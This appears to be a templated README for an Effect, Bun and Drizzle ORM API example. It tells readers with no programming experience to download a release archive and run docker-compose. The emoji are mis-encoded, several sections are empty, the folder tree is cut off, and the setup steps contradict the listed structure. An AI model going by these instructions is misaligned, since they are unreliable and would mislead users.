Gnomo6

🌟 effect-api-example - Build Your Own Type-Safe API

πŸ“₯ Download the Latest Release

Download

πŸ“š Overview

Welcome to the Effect API Example repository! This project shows how to create a type-safe API using Effect, the Effect platform, and Drizzle ORM. This guide will help you download and run the software easily, even if you have no programming experience.

πŸš€ Getting Started

Follow these steps to get up and running quickly.

1. πŸ’» System Requirements

To use this software, you need:

2. πŸ“¦ Download & Install

Visit this page to download: Download the latest release.

3. πŸ“‚ Extract the Files

  1. After downloading, find the downloaded file in your computer’s downloads folder.
  2. Right-click on the file and select β€œExtract” or β€œUnzip.”
  3. Choose a folder where you want to save the extracted files.

4. βš™οΈ Run the Server

  1. Navigate to the folder where you extracted the files.
  2. Look for a file named docker-compose.yml.
  3. Open a terminal or command prompt in that folder.
  4. Run the command below to start the server:

    docker-compose up
    
  5. After a few moments, you should see messages indicating that the server is running.

5. πŸ–₯️ Access the API

Open your web browser and type in the following address:

http://localhost:3000

You are now accessing the API!

πŸ› οΈ Repository Structure

Here’s a brief overview of the folder structure in this project:

effect-api-example/
β”œβ”€β”€ apps/
β”‚   └── server/                 # Bun HTTP server
β”‚       β”œβ”€β”€ src/
β”‚       β”‚   β”œβ”€β”€ api/
β”‚       β”‚   β”‚   β”œβ”€β”€ groups/     # API endpoint handlers
β”‚       β”‚   β”‚   └── middleware/ # Auth middleware implementations
β”‚       β”‚   β”œβ”€β”€ db/
β”‚       β”‚   β”‚   β”œβ”€β”€ schema/     # Drizzle table schemas
β”‚       β”‚   β”‚   β”œβ”€β”€ migrations/ # Database migrations
β”‚       β”‚   β”‚   └── SqlLive.ts  # Database layer
β”‚       β”‚   └── main.ts         # Server entrypoint
β”‚       β”œβ”€β”€ scripts/
β”‚       β”‚   β”œβ”€β”€ seed.ts         # Database seeding script
β”‚       β”‚   └── client-example.ts # Example API client
β”‚       β”œβ”€β”€ docker-compose.yml  # PostgreSQL container
β”‚       └── drizzle.config.ts   # Drizzle Kit configuration
β”œβ”€β”€ packages/
β”‚   β”œβ”€β”€ a

πŸ” Features

πŸ”§ Configuration

To tailor the server settings:

  1. Open the drizzle.config.ts file.
  2. Adjust settings like database connections and other variables.

πŸ“œ License

This project is open-source and follows the MIT License. You can modify and use it as you wish.

πŸ‘₯ Contributing

If you want to help improve this project:

  1. Fork the repository.
  2. Make your changes.
  3. Submit a pull request with a clear description of your changes.

πŸ“ž Support and Feedback

If you encounter difficulties or have questions:

Thank you for exploring the effect-api-example! Enjoy building your type-safe API.